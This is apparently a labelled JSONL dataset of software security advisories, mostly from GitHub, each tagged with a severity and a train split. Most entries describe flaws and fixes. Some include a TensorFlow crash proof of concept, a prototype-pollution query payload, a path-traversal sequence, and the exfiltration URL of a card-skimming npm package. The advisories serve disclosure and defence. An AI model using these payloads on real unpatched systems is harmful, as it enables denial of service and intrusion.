-{"id": "3968ab896736f326e2cb", "text": "CHECK-fail in DrawBoundingBoxes\n\n### Impact\nAn attacker can trigger a denial of service via a `CHECK` failure by passing an empty image to `tf.raw_ops.DrawBoundingBoxes`:\n\n```python\nimport tensorflow as tf\n\nimages = tf.fill([53, 0, 48, 1], 0.)\nboxes = tf.fill([53, 31, 4], 0.)\nboxes = tf.Variable(boxes)\nboxes[0, 0, 0].assign(3.90621)\ntf.raw_ops.DrawBoundingBoxes(images=images, boxes=boxes)\n```\n\nThis is because the [implementation](https://github.com/tensorflow/tensorflow/blob/ea34a18dc3f5c8d80a40ccca1404f343b5d55f91/tensorflow/core/kernels/image/draw_bounding_box_op.cc#L148-L165) uses `CHECK_*` assertions instead of `OP_REQUIRES` to validate user controlled inputs. Whereas `OP_REQUIRES` allows returning an error condition back to the user, the `CHECK_*` macros result in a crash if the condition is false, similar to `assert`.\n\n```cc\nconst int64 max_box_row_clamp = std::min<int64>(max_box_row, height - 1);\n... \nCHECK_GE(max_box_row_clamp, 0);\n```\n\nIn this case, `height` is 0 from the `images` input. This results in `max_box_row_clamp` being negative and the assertion being falsified, followed by aborting program execution.\n\n### Patches\nWe have patched the issue in GitHub commit [b432a38fe0e1b4b904a6c222cbce794c39703e87](https://github.com/tensorflow/tensorflow/commit/b432a38fe0e1b4b904a6c222cbce794c39703e87).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.", "text_raw": "CHECK-fail in DrawBoundingBoxes\n\n[Severity: LOW]\n\n### Impact\nAn attacker can trigger a denial of service via a `CHECK` failure by passing an empty image to `tf.raw_ops.DrawBoundingBoxes`:\n\n```python\nimport tensorflow as tf\n\nimages = tf.fill([53, 0, 48, 1], 0.)\nboxes = tf.fill([53, 31, 4], 0.)\nboxes = tf.Variable(boxes)\nboxes[0, 0, 0].assign(3.90621)\ntf.raw_ops.DrawBoundingBoxes(images=images, boxes=boxes)\n```\n\nThis is because the [implementation](https://github.com/tensorflow/tensorflow/blob/ea34a18dc3f5c8d80a40ccca1404f343b5d55f91/tensorflow/core/kernels/image/draw_bounding_box_op.cc#L148-L165) uses `CHECK_*` assertions instead of `OP_REQUIRES` to validate user controlled inputs. Whereas `OP_REQUIRES` allows returning an error condition back to the user, the `CHECK_*` macros result in a crash if the condition is false, similar to `assert`.\n\n```cc\nconst int64 max_box_row_clamp = std::min<int64>(max_box_row, height - 1);\n... \nCHECK_GE(max_box_row_clamp, 0);\n``` \n    \nIn this case, `height` is 0 from the `images` input. This results in `max_box_row_clamp` being negative and the assertion being falsified, followed by aborting program execution.\n    \n### Patches\nWe have patched the issue in GitHub commit [b432a38fe0e1b4b904a6c222cbce794c39703e87](https://github.com/tensorflow/tensorflow/commit/b432a38fe0e1b4b904a6c222cbce794c39703e87).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-05-21", "split": "train"}
-{"id": "92659994c5fddad6157f", "text": "pngcrush-installer downloads Resources over HTTP\n\nAffected versions of `pngcrush-installer` insecurely download an executable over an unencrypted HTTP connection.\n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `pngcrush-installer`.\n\n## Recommendation\n\nUpdate to version 1.8.10 or later.", "text_raw": "pngcrush-installer downloads Resources over HTTP\n\n[Severity: HIGH]\n\nAffected versions of `pngcrush-installer` insecurely download an executable over an unencrypted HTTP connection. \n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `pngcrush-installer`.\n\n\n## Recommendation\n\nUpdate to version 1.8.10 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-02-18", "split": "train"}
-{"id": "06e0542356e7e36946cc", "text": "Prototype Pollution in mithril\n\nAffected versions of `mithril`are vulnerable to prototype pollution. The function `parseQueryString` may allow a malicious user to modify the prototype of `Object`, causing the addition or modification of an existing property that will exist on all objects. A payload such as `__proto__%5BtoString%5D=123` in the query string would change the `toString()` function to `123`.\n\n## Recommendation\n\nIf you are using mithril 2.x, upgrade to version 2.0.2 or later.\nIf you are using mithril 1.x, upgrade to version 1.1.7 or later.", "text_raw": "Prototype Pollution in mithril\n\n[Severity: HIGH]\n\nAffected versions of `mithril`are vulnerable to prototype pollution. The function `parseQueryString` may allow a malicious user to modify the prototype of `Object`, causing the addition or modification of an existing property that will exist on all objects. A payload such as `__proto__%5BtoString%5D=123` in the query string would change the `toString()` function to `123`.\n\n\n\n## Recommendation\n\nIf you are using mithril 2.x, upgrade to version 2.0.2 or later.\nIf you are using mithril 1.x, upgrade to version 1.1.7 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "f9bf360ca0da4a4c5598", "text": "Malicious Package in ngx-context-menu\n\nVersion 0.0.26 of `ngx-context-menu` contained malicious code. The code when executed in the browser would enumerate password, cvc, cardnumber fields from forms and send the extracted values to `https://js-metrics.com/minjs.php?pl=`\n\n## Recommendation\n\nRemove the package from your environment. It's also recommended to evaluate your application to determine whether or not user data was compromised.\n\nUsers may consider downgrading to version 0.0.25", "text_raw": "Malicious Package in ngx-context-menu\n\n[Severity: CRITICAL]\n\nVersion 0.0.26 of `ngx-context-menu` contained malicious code. The code when executed in the browser would enumerate password, cvc, cardnumber fields from forms and send the extracted values to `https://js-metrics.com/minjs.php?pl=`\n\n\n\n## Recommendation\n\nRemove the package from your environment. It's also recommended to evaluate your application to determine whether or not user data was compromised.\n\nUsers may consider downgrading to version 0.0.25", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "bc77042ba470818c7c91", "text": "Prevent cache poisoning via a Response Content-Type header in Symfony\n\nDescription\n-----------\n\nWhen a `Response` does not contain a `Content-Type` header, Symfony falls back to the format defined in the `Accept` header of the request, leading to a possible mismatch between the response's content and `Content-Type` header. When the response is cached, this can lead to a corrupted cache where the cached format is not the right one.\n\nResolution\n----------\n\nSymfony does not use the `Accept` header anymore to guess the `Content-Type`.\n\nThe patch for this issue is available [here](https://github.com/symfony/symfony/commit/dca343442e6a954f96a2609e7b4e9c21ed6d74e6) for the 4.4 branch.\n\nCredits\n-------\n\nI would like to thank Xavier Lacot from JoliCode for reporting & Yonel Ceruto and Tobias Schultze for fixing the issue.", "text_raw": "Prevent cache poisoning via a Response Content-Type header in Symfony\n\n[Severity: LOW]\n\nDescription\n-----------\n\nWhen a `Response` does not contain a `Content-Type` header, Symfony falls back to the format defined in the `Accept` header of the request, leading to a possible mismatch between the response's content and `Content-Type` header. When the response is cached, this can lead to a corrupted cache where the cached format is not the right one.\n\nResolution\n----------\n\nSymfony does not use the `Accept` header anymore to guess the `Content-Type`.\n\nThe patch for this issue is available [here](https://github.com/symfony/symfony/commit/dca343442e6a954f96a2609e7b4e9c21ed6d74e6) for the 4.4 branch.\n\nCredits\n-------\n\nI would like to thank Xavier Lacot from JoliCode for reporting & Yonel Ceruto and Tobias Schultze for fixing the issue.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2020-03-30", "split": "train"}
-{"id": "70213848486f8ae2332d", "text": "Hashicorp Vault Privilege Escalation Vulnerability\n\nHashiCorp Vault and Vault Enterprise through 1.7.4 and 1.8.3 allowed a user with write permission to an entity alias ID sharing a mount accessor with another user to acquire this other user’s policies by merging their identities. Fixed in Vault and Vault Enterprise 1.7.5 and 1.8.4.", "text_raw": "Hashicorp Vault Privilege Escalation Vulnerability\n\n[Severity: LOW]\n\nHashiCorp Vault and Vault Enterprise through 1.7.4 and 1.8.3 allowed a user with write permission to an entity alias ID sharing a mount accessor with another user to acquire this other user’s policies by merging their identities. Fixed in Vault and Vault Enterprise 1.7.5 and 1.8.4.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-10-12", "split": "train"}
-{"id": "32f1e75fe7d3c708989c", "text": "Cross-site scripting (XSS) from unsanitized uploaded SVG files in Kirby\n\n### Impact\n\nAn editor with write access to the Kirby Panel can upload an SVG or XML file that contains harmful content like `<script>` tags. The direct link to that file can be sent to other users or visitors of the site. If the victim opens that link in a browser where they are logged in to Kirby, the script will run and can for example trigger requests to Kirby's API with the permissions of the victim.\n\nThis vulnerability is critical if you might have potential attackers in your group of authenticated Panel users. They can escalate their privileges if they get access to the Panel session of an admin user. Depending on your site, other JavaScript-powered attacks are possible.\n\nVisitors without Panel access can only use this attack vector if your site allows SVG or XML file uploads in frontend forms and you don't already validate or sanitize uploaded SVG or XML files.\n\nThe attack requires user interaction by another user or visitor and *cannot* be automated.\n\n### Patches\n\n#### Uploads in the Panel\n\nThe problem has been patched in [Kirby 3.5.4](https://github.com/getkirby/kirby/releases/tag/3.5.4) by validating uploaded SVG and XML files and rejecting potentially harmful files. Please update to this or a [later version](https://github.com/getkirby/kirby/releases/) to fix the vulnerability.\n\n#### Frontend upload forms\n\nFrontend upload forms need to be patched separately depending on how they store the uploaded file(s). If you use `File::create()`, you are protected by updating to Kirby 3.5.4+.\n\n#### Validate existing files\n\nAlready uploaded files are *not* automatically validated again. If you are not sure if you have been impacted by this vulnerability in the past, we recommend to run all site files through the validator classes after updating to Kirby 3.5.4. You can use the following test script by pasting it into a template or uploading it to your web root:\n\n```php\n<?php\n\n@include_once __DIR__ . '/kirby/bootstrap.php';\n\nif (version_compare(kirby()->version(), '3.5.4', '<') === true) {\n  die('This script requires Kirby 3.5.4+.');\n}\n\n$objects = [\n  // the site itself\n  site(),\n\n// all pages and drafts\n  ...site()->index(true)->values(),\n\n// all users\n  ...kirby()->users()->values()\n];\n\n$errors = false;\nforeach ($objects as $object) {\n  foreach ($object->files() as $file) {\n    try {\n      // validate the contents lazily\n      // (if a validator exists)\n      $file->validateContents(true);\n    } catch (\\Kirby\\Exception\\InvalidArgumentException $e) {\n      echo $file->id() . ': ' . $e->getMessage() . \"<br>\\n\";\n      $errors = true;\n    }\n  }\n}\n\nif ($errors === false) {\n  echo 'No validation errors found.';\n}\n```\n\nYou only need to run this validator script once as future uploads will automatically be validated. If the script prints \"No validation errors found\", you have not been impacted by the vulnerability so far.\n\nErrors that it lists may or may not be critical as our validator classes also catch files with an invalid data structure or less harmful attacks like the [\"billion laughs\" denial-of-service attack](https://en.wikipedia.org/wiki/Billion_laughs_attack) or the usage of external sources. We recommend to review and fix each listed error manually until the script no longer finds any validation errors.\n\n**Please delete the script again after you have used it.**\n\n### Workarounds\n\nIf you cannot update to Kirby 3.5.4, you can disable the upload of SVG and XML files in your [file blueprints](https://getkirby.com/docs/reference/panel/blueprints/file#accept) and validate or replace your already uploaded files once.\n\n### Credits\n\nThanks to @sreenathr10 for reporting the problem.", "text_raw": "Cross-site scripting (XSS) from unsanitized uploaded SVG files in Kirby\n\n[Severity: HIGH]\n\n### Impact\n\nAn editor with write access to the Kirby Panel can upload an SVG or XML file that contains harmful content like `<script>` tags. The direct link to that file can be sent to other users or visitors of the site. If the victim opens that link in a browser where they are logged in to Kirby, the script will run and can for example trigger requests to Kirby's API with the permissions of the victim.\n\nThis vulnerability is critical if you might have potential attackers in your group of authenticated Panel users. They can escalate their privileges if they get access to the Panel session of an admin user. Depending on your site, other JavaScript-powered attacks are possible.\n\nVisitors without Panel access can only use this attack vector if your site allows SVG or XML file uploads in frontend forms and you don't already validate or sanitize uploaded SVG or XML files.\n\nThe attack requires user interaction by another user or visitor and *cannot* be automated.\n\n### Patches\n\n#### Uploads in the Panel\n\nThe problem has been patched in [Kirby 3.5.4](https://github.com/getkirby/kirby/releases/tag/3.5.4) by validating uploaded SVG and XML files and rejecting potentially harmful files. Please update to this or a [later version](https://github.com/getkirby/kirby/releases/) to fix the vulnerability.\n\n#### Frontend upload forms\n\nFrontend upload forms need to be patched separately depending on how they store the uploaded file(s). If you use `File::create()`, you are protected by updating to Kirby 3.5.4+.\n\n#### Validate existing files\n\nAlready uploaded files are *not* automatically validated again. If you are not sure if you have been impacted by this vulnerability in the past, we recommend to run all site files through the validator classes after updating to Kirby 3.5.4. You can use the following test script by pasting it into a template or uploading it to your web root:\n\n```php\n<?php\n\n@include_once __DIR__ . '/kirby/bootstrap.php';\n\nif (version_compare(kirby()->version(), '3.5.4', '<') === true) {\n  die('This script requires Kirby 3.5.4+.');\n}\n\n$objects = [\n  // the site itself\n  site(),\n\n  // all pages and drafts\n  ...site()->index(true)->values(),\n\n  // all users\n  ...kirby()->users()->values()\n];\n\n$errors = false;\nforeach ($objects as $object) {\n  foreach ($object->files() as $file) {\n    try {\n      // validate the contents lazily\n      // (if a validator exists)\n      $file->validateContents(true);\n    } catch (\\Kirby\\Exception\\InvalidArgumentException $e) {\n      echo $file->id() . ': ' . $e->getMessage() . \"<br>\\n\";\n      $errors = true;\n    }\n  }\n}\n\nif ($errors === false) {\n  echo 'No validation errors found.';\n}\n```\n\nYou only need to run this validator script once as future uploads will automatically be validated. If the script prints \"No validation errors found\", you have not been impacted by the vulnerability so far.\n\nErrors that it lists may or may not be critical as our validator classes also catch files with an invalid data structure or less harmful attacks like the [\"billion laughs\" denial-of-service attack](https://en.wikipedia.org/wiki/Billion_laughs_attack) or the usage of external sources. We recommend to review and fix each listed error manually until the script no longer finds any validation errors.\n\n**Please delete the script again after you have used it.**\n\n### Workarounds\n\nIf you cannot update to Kirby 3.5.4, you can disable the upload of SVG and XML files in your [file blueprints](https://getkirby.com/docs/reference/panel/blueprints/file#accept) and validate or replace your already uploaded files once.\n\n### Credits\n\nThanks to @sreenathr10 for reporting the problem.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-04-30", "split": "train"}
-{"id": "1d50a341224f5be4794b", "text": "Code injection in Apache Ant\n\nAs mitigation for CVE-2020-1945 Apache Ant 1.10.8 changed the permissions of temporary files it created so that only the current user was allowed to access them. Unfortunately the fixcrlf task deleted the temporary file and created a new one without said protection, effectively nullifying the effort. This would still allow an attacker to inject modified source files into the build process.", "text_raw": "Code injection in Apache Ant\n\n[Severity: HIGH]\n\nAs mitigation for CVE-2020-1945 Apache Ant 1.10.8 changed the permissions of temporary files it created so that only the current user was allowed to access them. Unfortunately the fixcrlf task deleted the temporary file and created a new one without said protection, effectively nullifying the effort. This would still allow an attacker to inject modified source files into the build process.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-02-03", "split": "train"}
-{"id": "a1f65cc9eae942af11aa", "text": "Regular Expression Denial of Service in browserslist\n\nThe package browserslist from 4.0.0 and before 4.16.5 are vulnerable to Regular Expression Denial of Service (ReDoS) during parsing of queries.", "text_raw": "Regular Expression Denial of Service in browserslist\n\n[Severity: MEDIUM]\n\nThe package browserslist from 4.0.0 and before 4.16.5 are vulnerable to Regular Expression Denial of Service (ReDoS) during parsing of queries.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-05-24", "split": "train"}
-{"id": "17ef86cdf81f2eb30bf0", "text": "Malicious Package in bqffer-xor\n\nVersion 2.0.2 contained malicious code. The package targeted the Ethereum cryptocurrency and performed transactions to wallets not controlled by the user.\n\n## Recommendation\n\nRemove the package from your environment. Ensure no Ethereum funds were compromised.", "text_raw": "Malicious Package in bqffer-xor\n\n[Severity: CRITICAL]\n\nVersion 2.0.2 contained malicious code. The package targeted the Ethereum cryptocurrency and performed transactions to wallets not controlled by the user.\n\n\n## Recommendation\n\nRemove the package from your environment. Ensure no Ethereum funds were compromised.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "8141c190703f7f4de70c", "text": "Base class whitelist configuration ignored in OAuthenticator\n\n### Impact\n\n__What goes wrong?__\n\nThe deprecated (in jupyterhub 1.2) configuration `Authenticator.whitelist`, which should be transparently mapped to `Authenticator.allowed_users` with a warning, is instead ignored by OAuthenticator classes, resulting in the same behavior as if this configuration has not been set. If this is the only mechanism of authorization restriction (i.e. no group or team restrictions in configuration) then all authenticated users will be allowed. Provider-based restrictions, including deprecated values such as `GitHubOAuthenticator.org_whitelist` are **not** affected.\n\n__Who is impacted?__\n\nAll users of OAuthenticator 0.12.0 and 0.12.1 with JupyterHub 1.2 (JupyterHub Helm chart 0.10.0-0.10.5) who use the `admin.whitelist.users` configuration in the jupyterhub helm chart or the `c.Authenticator.whitelist` configuration directly. Users of other deprecated configuration, e.g. `c.GitHubOAuthenticator.team_whitelist` are **not** affected.\n\nIf you see a log line like this and expect a specific list of allowed usernames:\n\n```\n[I 2020-11-27 16:51:54.528 JupyterHub app:1717] Not using allowed_users. Any authenticated user will be allowed.\n```\n\nyou are likely affected.\n\n### Patches\n\n- Replacing deprecated `c.Authenticator.whitelist = ...` with `c.Authenticator.allowed_users = ...` avoids the issue.\n- Update oauthenticator to 0.12.2\n- Update jupyterhub helm chart to 0.10.6\n\nIf any users have been authorized during this time who should not have been, they must be deleted via the API or admin interface, [per the documentation](https://jupyterhub.readthedocs.io/en/1.2.2/getting-started/authenticators-users-basics.html#add-or-remove-users-from-the-hub).\n\n### Workarounds\n\nReplacing `c.Authenticator.whitelist = ...` with `c.Authenticator.allowed_users = ...` avoids the issue.\n\nIn the jupyterhub helm chart prior to 0.10.6, this can be done via `hub.extraConfig`:\n\n```yaml\nauth:\n  allowedUsers:\n  - user1\n  - user2\n\nhub:\n  extraConfig:\n    allowedUsers: |\n        # set new field not exposed in helm chart < 0.10.6\n        set_config_if_not_none(c.Authenticator, \"allowed_users\", \"auth.allowedUsers\")\n```\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n\n* Open a thread [on the Jupyter forum](http://discourse.jupyter.org)\n* Email us at [security@ipython.org](mailto:security@ipython.org)", "text_raw": "Base class whitelist configuration ignored in OAuthenticator\n\n[Severity: HIGH]\n\n### Impact\n\n__What goes wrong?__\n\nThe deprecated (in jupyterhub 1.2) configuration `Authenticator.whitelist`, which should be transparently mapped to `Authenticator.allowed_users` with a warning, is instead ignored by OAuthenticator classes, resulting in the same behavior as if this configuration has not been set. If this is the only mechanism of authorization restriction (i.e. no group or team restrictions in configuration) then all authenticated users will be allowed. Provider-based restrictions, including deprecated values such as `GitHubOAuthenticator.org_whitelist` are **not** affected.\n\n__Who is impacted?__\n\nAll users of OAuthenticator 0.12.0 and 0.12.1 with JupyterHub 1.2 (JupyterHub Helm chart 0.10.0-0.10.5) who use the `admin.whitelist.users` configuration in the jupyterhub helm chart or the `c.Authenticator.whitelist` configuration directly. Users of other deprecated configuration, e.g. `c.GitHubOAuthenticator.team_whitelist` are **not** affected.\n\nIf you see a log line like this and expect a specific list of allowed usernames:\n\n```\n[I 2020-11-27 16:51:54.528 JupyterHub app:1717] Not using allowed_users. Any authenticated user will be allowed.\n```\n\nyou are likely affected.\n\n### Patches\n\n- Replacing deprecated `c.Authenticator.whitelist = ...` with `c.Authenticator.allowed_users = ...` avoids the issue.\n- Update oauthenticator to 0.12.2\n- Update jupyterhub helm chart to 0.10.6\n\nIf any users have been authorized during this time who should not have been, they must be deleted via the API or admin interface, [per the documentation](https://jupyterhub.readthedocs.io/en/1.2.2/getting-started/authenticators-users-basics.html#add-or-remove-users-from-the-hub).\n\n### Workarounds\n\nReplacing `c.Authenticator.whitelist = ...` with `c.Authenticator.allowed_users = ...` avoids the issue.\n\nIn the jupyterhub helm chart prior to 0.10.6, this can be done via `hub.extraConfig`:\n\n```yaml\nauth:\n  allowedUsers:\n  - user1\n  - user2\n\nhub:\n  extraConfig:\n    allowedUsers: |\n        # set new field not exposed in helm chart < 0.10.6\n        set_config_if_not_none(c.Authenticator, \"allowed_users\", \"auth.allowedUsers\")\n```\n\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n\n* Open a thread [on the Jupyter forum](http://discourse.jupyter.org)\n* Email us at [security@ipython.org](mailto:security@ipython.org)", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-12-01", "split": "train"}
-{"id": "77184b5696ea7f154da3", "text": "Out of bounds read in Pillow\n\nAn issue was discovered in Pillow before 8.1.1. There is an out-of-bounds read in SGIRleDecode.c.", "text_raw": "Out of bounds read in Pillow\n\n[Severity: HIGH]\n\nAn issue was discovered in Pillow before 8.1.1. There is an out-of-bounds read in SGIRleDecode.c.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-03-29", "split": "train"}
-{"id": "172f3252eb32de124d32", "text": "Cart Engine 3.0.0 Remote Code Execution", "text_raw": "Cart Engine 3.0.0 Remote Code Execution\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2014-03-25", "split": "train"}
-{"id": "43df7aea0356d486ea9c", "text": "actionpack vulnerable to Path Traversal\n\nDirectory traversal vulnerability in `actionpack/lib/action_dispatch/middleware/static.rb` in Action Pack in Ruby on Rails 3.x before 3.2.20, 4.0.x before 4.0.11, 4.1.x before 4.1.7, and 4.2.x before 4.2.0.beta3, when `serve_static_assets` is enabled, allows remote attackers to determine the existence of files outside the application root via a `/..%2F` sequence.", "text_raw": "actionpack vulnerable to Path Traversal\n\n[Severity: MEDIUM]\n\nDirectory traversal vulnerability in `actionpack/lib/action_dispatch/middleware/static.rb` in Action Pack in Ruby on Rails 3.x before 3.2.20, 4.0.x before 4.0.11, 4.1.x before 4.1.7, and 4.2.x before 4.2.0.beta3, when `serve_static_assets` is enabled, allows remote attackers to determine the existence of files outside the application root via a `/..%2F` sequence.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "f5e9731badd2c4986f58", "text": "Password exposure in concrete5/core\n\nUnauthorized individuals could view password protected files using view_inline in Concrete CMS (previously concrete 5) prior to version 8.5.7. Concrete CMS now checks to see if a file has a password in view_inline and, if it does, the file is not rendered.For version 8.5.6, the following mitigations were put in place a. restricting file types for view_inline to images only b. putting a warning in the file manager to advise users.", "text_raw": "Password exposure in concrete5/core\n\n[Severity: MEDIUM]\n\nUnauthorized individuals could view password protected files using view_inline in Concrete CMS (previously concrete 5) prior to version 8.5.7. Concrete CMS now checks to see if a file has a password in view_inline and, if it does, the file is not rendered.For version 8.5.6, the following mitigations were put in place a. restricting file types for view_inline to images only b. putting a warning in the file manager to advise users.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-11-23", "split": "train"}
-{"id": "4b66480108206e40da91", "text": "Information Disclosure in go.elastic.co/apm\n\nThe Elastic APM agent for Go versions before 1.11.0 can leak sensitive HTTP header information when logging the details during an application panic. Normally, the APM agent will sanitize sensitive HTTP header details before sending the information to the APM server. During an application panic it is possible the headers will not be sanitized before being sent.", "text_raw": "Information Disclosure in go.elastic.co/apm\n\n[Severity: LOW]\n\nThe Elastic APM agent for Go versions before 1.11.0 can leak sensitive HTTP header information when logging the details during an application panic. Normally, the APM agent will sanitize sensitive HTTP header details before sending the information to the APM server. During an application panic it is possible the headers will not be sanitized before being sent.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-05-18", "split": "train"}
-{"id": "15631649ebbe95c28f6b", "text": "Buffer overflow and format vulnerabilities in ncurses\n\nncurses exposes functions from the ncurses library which:\n* Pass buffers without length to C functions that may write an arbitrary amount of data, leading to a buffer overflow. (instr, mvwinstr, etc)\n* Passes rust &str to strings expecting C format arguments, allowing hostile input to execute a format string attack, which trivially allows writing arbitrary data to stack memory (functions in the printw family).", "text_raw": "Buffer overflow and format vulnerabilities in ncurses\n\n[Severity: CRITICAL]\n\nncurses exposes functions from the ncurses library which:\n* Pass buffers without length to C functions that may write an arbitrary amount of data, leading to a buffer overflow. (instr, mvwinstr, etc)\n* Passes rust &str to strings expecting C format arguments, allowing hostile input to execute a format string attack, which trivially allows writing arbitrary data to stack memory (functions in the printw family).\n", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "72a3219de803bbfaa397", "text": "Malicious Package in buffer-zor\n\nVersion 2.0.2 contained malicious code. The package targeted the Ethereum cryptocurrency and performed transactions to wallets not controlled by the user.\n\n## Recommendation\n\nRemove the package from your environment. Ensure no Ethereum funds were compromised.", "text_raw": "Malicious Package in buffer-zor\n\n[Severity: CRITICAL]\n\nVersion 2.0.2 contained malicious code. The package targeted the Ethereum cryptocurrency and performed transactions to wallets not controlled by the user.\n\n\n## Recommendation\n\nRemove the package from your environment. Ensure no Ethereum funds were compromised.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "b89adc10e890411b5e98", "text": "scalarmult() vulnerable to degenerate public keys\n\nThe scalarmult() function included in previous versions of this crate accepted all-zero public keys, for which the resulting Diffie-Hellman shared secret will always be zero regardless of the private key used.\n\nThis issue was fixed by checking for this class of keys and rejecting them if they are used.", "text_raw": "scalarmult() vulnerable to degenerate public keys\n\n[Severity: MEDIUM]\n\nThe scalarmult() function included in previous versions of this crate accepted all-zero public keys, for which the resulting Diffie-Hellman shared secret will always be zero regardless of the private key used.\n\nThis issue was fixed by checking for this class of keys and rejecting them if they are used.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "d58719342d5bbf82f898", "text": "Improper certificate management in AWS IoT Device SDK v2\n\nThe AWS IoT Device SDK v2 for Java, Python, C++ and Node.js appends a user supplied Certificate Authority (CA) to the root CAs instead of overriding it on Unix systems. TLS handshakes will thus succeed if the peer can be verified either from the user-supplied CA or the system’s default trust-store. Attackers with access to a host’s trust stores or are able to compromise a certificate authority already in the host's trust store (note: the attacker must also be able to spoof DNS in this case) may be able to use this issue to bypass CA pinning. An attacker could then spoof the MQTT broker, and either drop traffic and/or respond with the attacker's data, but they would not be able to forward this data on to the MQTT broker because the attacker would still need the user's private keys to authenticate against the MQTT broker. The 'aws_tls_ctx_options_override_default_trust_store_*' function within the aws-c-io submodule has been updated to override the default trust store. This corrects this issue. This issue affects: Amazon Web Services AWS IoT Device SDK v2 for Java versions prior to 1.5.0 on Linux/Unix. Amazon Web Services AWS IoT Device SDK v2 for Python versions prior to 1.6.1 on Linux/Unix. Amazon Web Services AWS IoT Device SDK v2 for C++ versions prior to 1.12.7 on Linux/Unix. Amazon Web Services AWS IoT Device SDK v2 for Node.js versions prior to 1.5.3 on Linux/Unix. Amazon Web Services AWS-C-IO 0.10.4 on Linux/Unix.", "text_raw": "Improper certificate management in AWS IoT Device SDK v2\n\n[Severity: HIGH]\n\nThe AWS IoT Device SDK v2 for Java, Python, C++ and Node.js appends a user supplied Certificate Authority (CA) to the root CAs instead of overriding it on Unix systems. TLS handshakes will thus succeed if the peer can be verified either from the user-supplied CA or the system’s default trust-store. Attackers with access to a host’s trust stores or are able to compromise a certificate authority already in the host's trust store (note: the attacker must also be able to spoof DNS in this case) may be able to use this issue to bypass CA pinning. An attacker could then spoof the MQTT broker, and either drop traffic and/or respond with the attacker's data, but they would not be able to forward this data on to the MQTT broker because the attacker would still need the user's private keys to authenticate against the MQTT broker. The 'aws_tls_ctx_options_override_default_trust_store_*' function within the aws-c-io submodule has been updated to override the default trust store. This corrects this issue. This issue affects: Amazon Web Services AWS IoT Device SDK v2 for Java versions prior to 1.5.0 on Linux/Unix. Amazon Web Services AWS IoT Device SDK v2 for Python versions prior to 1.6.1 on Linux/Unix. Amazon Web Services AWS IoT Device SDK v2 for C++ versions prior to 1.12.7 on Linux/Unix. Amazon Web Services AWS IoT Device SDK v2 for Node.js versions prior to 1.5.3 on Linux/Unix. Amazon Web Services AWS-C-IO 0.10.4 on Linux/Unix.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-11-24", "split": "train"}
-{"id": "bdf2078f91195ee1ceb5", "text": "Open Redirect in url-parse\n\nVersions of `url-parse` before 1.4.3 returns the wrong hostname which could lead to Open Redirect, Server Side Request Forgery (SSRF), or Bypass Authentication Protocol vulnerabilities.\n\n## Recommendation\n\nUpdate to version 1.4.3 or later.", "text_raw": "Open Redirect in url-parse\n\n[Severity: CRITICAL]\n\nVersions of `url-parse` before 1.4.3 returns the wrong hostname which could lead to Open Redirect, Server Side Request Forgery (SSRF), or Bypass Authentication Protocol vulnerabilities.\n\n\n## Recommendation\n\nUpdate to version 1.4.3 or later.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2018-08-13", "split": "train"}
